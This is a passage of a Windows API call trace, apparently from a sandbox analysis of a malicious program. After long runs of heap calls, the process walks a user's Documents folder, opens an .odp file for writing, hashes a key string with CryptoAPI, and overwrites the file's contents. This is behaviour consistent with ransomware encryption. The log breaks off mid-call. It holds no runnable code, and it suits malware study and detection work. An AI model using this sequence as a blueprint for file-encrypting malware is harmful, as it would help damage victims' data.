hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.374] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.374] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.375] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.375] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.376] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.376] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.377] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.377] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.378] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.378] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\") returned="NtnCGgs\\" [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.378] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d4b0 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\") returned="Yw9G-4_B\\" [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d4b0 | out: hHeap=0x670000) returned 1 [0061.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.379] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0061.379] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.379] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.379] PathFindFileNameW (pszPath="") returned="" [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.379] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad0bcd30, ftCreationTime.dwHighDateTime=0x1d4cbe8, ftLastAccessTime.dwLowDateTime=0xcc7332b0, ftLastAccessTime.dwHighDateTime=0x1d4c780, ftLastWriteTime.dwLowDateTime=0xcc7332b0, ftLastWriteTime.dwHighDateTime=0x1d4c780, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xad0bcd30, ftCreationTime.dwHighDateTime=0x1d4cbe8, ftLastAccessTime.dwLowDateTime=0xcc7332b0, ftLastAccessTime.dwHighDateTime=0x1d4c780, ftLastWriteTime.dwLowDateTime=0xcc7332b0, ftLastWriteTime.dwHighDateTime=0x1d4c780, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.379] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77a48260, ftCreationTime.dwHighDateTime=0x1d4d44c, ftLastAccessTime.dwLowDateTime=0xfaa5a220, ftLastAccessTime.dwHighDateTime=0x1d4c696, ftLastWriteTime.dwLowDateTime=0xfaa5a220, ftLastWriteTime.dwHighDateTime=0x1d4c696, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-3tBc", cAlternateFileName="")) returned 1 [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ec50 [0061.379] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74ed60 [0061.379] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74ec50 | out: hHeap=0x670000) returned 1 [0061.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.380] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f21c5c0, ftCreationTime.dwHighDateTime=0x1d4d2a9, ftLastAccessTime.dwLowDateTime=0x949fc7f0, ftLastAccessTime.dwHighDateTime=0x1d4d418, ftLastWriteTime.dwLowDateTime=0x949fc7f0, ftLastWriteTime.dwHighDateTime=0x1d4d418, nFileSizeHigh=0x0, nFileSizeLow=0xd9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="70Jmk.odp", cAlternateFileName="")) returned 1 [0061.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e920 [0061.380] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbe) returned 0x3016c78 [0061.380] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e920 | out: hHeap=0x670000) returned 1 [0061.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\70Jmk.odp") returned=".odp" [0061.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Yw9G-4_B\\NtnCGgs\\70Jmk.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\yw9g-4_b\\ntncggs\\70jmk.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.380] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=3485) returned 1 [0061.380] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.382] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd77, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.382] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.383] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.383] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.383] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xd9d, lpOverlapped=0x0) returned 1 [0061.383] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.383] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.383] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.383] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.384] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0061.384] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.384] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.384] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.384] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.384] GetLastError () returned 0x0 [0061.384] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.384] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0061.384] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.384] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xda0) returned 0x3068dd8 [0061.385] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.385] WriteFile (in: hFile=0x5c4, lpBuffer=0x3068dd8*, nNumberOfBytesToWrite=0xd98, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3068dd8*, lpNumberOfBytesWritten=0x9aafb24*=0xd98, lpOverlapped=0x0) returned 1 [0061.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.385] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xd9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0061.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.385] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.385] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.385] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0061.385] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, 